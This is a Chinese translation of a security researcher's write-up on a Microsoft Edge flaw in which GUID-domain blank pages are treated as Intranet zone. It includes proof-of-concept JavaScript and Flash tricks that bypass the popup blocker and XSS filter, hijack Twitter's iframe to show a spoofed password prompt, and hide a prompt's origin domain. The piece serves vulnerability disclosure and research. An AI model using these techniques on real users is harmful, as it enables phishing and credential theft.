原文地址:brokenbrowser
原作者:Manuel Caballero
譯:Holic (知道創宇404安全實驗室)
去年,我們探索了無域空頁面技術,在 Microsoft Edge 和 Internet Explorer 上進行 UXSS/SOP 的繞過。Edge 版本最近已經修復,但是很不幸,這個補丁導致了一個新的安全問題,攻擊者還有其他的利用方法。換而言之,一波未平一波又起。
最初的問題來自于無域的頁面(URL about:blank 對應 document.domains 是空的),基本能夠訪問任何 document 源的 DOM,但是 Microsoft 通過向他們添加一個隨機域(GUID)。也就是說,無域的 blank 已經不再是無域的了。它們總像是 {53394a4f-8c04-46ab-94af-3ab86ffcfd4c} 這種隨機域。

在測試補丁的時候,我止步于在 GUID 域,所以我改變了關注點。初衷本是分析補丁,并試圖繞過補丁,但是如此漂亮的 URL 出現在我面前的時候, 我想 Edge 在一定程度上繼承了 IE 的域。
Intranet vs Internet
(內聯網 vs 互聯網)
你可能知道,在內聯網(Intranet)區域中運行的頁面會比在互聯網(Internet)中受到的限制少得多。Edge 有著不同的機制,以區分何時從 Intranet 和 Internet 中加載頁面,其中最值得注意的是 dotless URL。
當網頁從不帶 “點” 的域名渲染時,比如 http://localhost ,因為前者被認為在 Intranet 域中,所以 Edge 與渲染 http://localhost.com 中同樣的頁面的時候以更少的限制渲染。
URL 中沒有"點"?說明它是內聯網。當然也存在例外,比如 about:blank,也被認為是互聯網域,即使在 URL 中沒有“點”。

歡迎來到內聯網域
上面的截屏顯示了至少三個有趣的功能,如果攻擊者擁有內網權限,這會成為他的利用點。事實證明,沒有“點”的 GUID 讓 Edge 認為我們位于內聯網域,可以繞過以上限制。那么,捉蟲獵手,一旦我們進入內聯網,一切都會輕而易舉。我們搞起~
- 在頂部加載 data:url。我們當前 location 是 data: ,但是域與加載此 data:url 的相同(依然在 Internet 域)
- document.write 寫入 data:url 自身。這使 data:uri 作為 URL,但它的域現在是隨機的 GUID。我們現在位于內聯網區域!
Edge 試圖阻止我們在頂部加載 data:URI ,但是 Flash 在此是我們的朋友,它允許我們在頂部加載 data:URI。我們至少簡單地使用 Flash 的 getURL。代碼如下。在 iframe 中渲染 Flash,Flash 本身會通過 data:URI 更改窗口的 URL。
<iframe></iframe>
<script>
window[0].location.replace('geturl.swf?TARGET=_top&REDIR=data:,'+
'<script>window.onload=function(){'+
' document.write("We are in a GUID URL (Intranet Zone) now");'+
' document.close();'+
'}<\/script>');
</script>
此外,將 Flash 放在 iframe 中是很重要的,否則 Edge 會報錯。無論如何,一旦上述情況發生,說明我們已位于內聯網域。那么有意思的就來了。
利用內聯網域
以下三個 PoC 都會先使用上述代碼進入 Intranet 區域,然后運行下面的 payload。此外,payload 將從外部進行腳本加載,以便有效運行。我不喜歡在 data:URI 中編碼成噸的字節。這會使我很迷糊!
我們繞過彈窗攔截器。請注意,一旦點擊下方的鏈接,它將自動打開 5 個彈窗,無須交互。代碼正常運行完全無視彈窗攔截器。
for (var i=0; i<5; i++)
{
window.open("http://www.bing.com","","width=200,height=600");
}

非常好,現在我們不需要用戶交互即可無限制打開彈窗了。XSS 過濾器又如何呢?我先 XSS 一下自己的網站,caballero.com.ar。
window.open("https://www.caballero.com.ar/echo.php?xss=<script>alert(document.domain)<\/script>","_self");
[ Live PoC – Bypass the XSS Filter ]
不錯!請牢記,只有在內聯網域運行時,這些 PoC 才會生效。實際上,稱之為“繞過”是不正確的,因為這是內聯網的默認行為。我們所做的是將域設置為限制較少的區域,然后就能自由發揮了。如此而已。但還有一點,超級導航(SuperNavigate)。你可知它的存在?它允許攻擊者更改任何窗口/ iframe的URL,而無視其域。
可能表達上有些混亂。先舉一個例子:它允許攻擊者改變在另一個標簽上運行 的 twitter-iframe 的 URL,該標簽的行為可能在我們之前。換句話說,我們甚至不需要用 Twitter 打開標簽。如果用戶在任何地方都打開了 Twitter,我們實際上可以與它進行交互。哇!我們來更改 Twitter 渲染的,名為“twitter-iframe”的 iframe 的 URL。是否行之有效呢?

OK,我們先看一眼代碼吧。
win = window.open("https://www.twitter.com");
function wait_for_tweet_post_iframe()
{
// Wait until the twitter iframe exists
if (win["tweet-post-iframe"])
{ //Change the location of the twitter-iframe. This fires the prompt
window.open("twitter_pass.html", "tweet-post-iframe");
clearInterval(interval);
}
}
// Keep running until the twitter-iframe becomes available
interval = setInterval(wait_for_tweet_post_iframe, 500);
[Live PoC – SuperNavigate on Twitter]
有意思!最后還有一件事,捉蟲獵手。也許你注意到 Twitter 的提示似乎來自一個 Twitter 域。你懂得,當提示處于打開狀態時,它始終顯示啟動它的 URL 域,就像這樣:

但是,有一個非常簡單的技巧可以刪除此信息,也就是從 about:blank iframe 中拋出提示。換言之,來自“干凈的”域的提示。
<iframe></iframe>
<script>
window[0].prompt("No domain shown");
</script>

我知道這沒什么大不了的,但是這個小把戲讓我們的提示看起來像真的一樣。注意小細節。
如果你想離線分析所有的內容,PoC 已經打包成 zip。
Have a nice day! ?
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/261/
暫無評論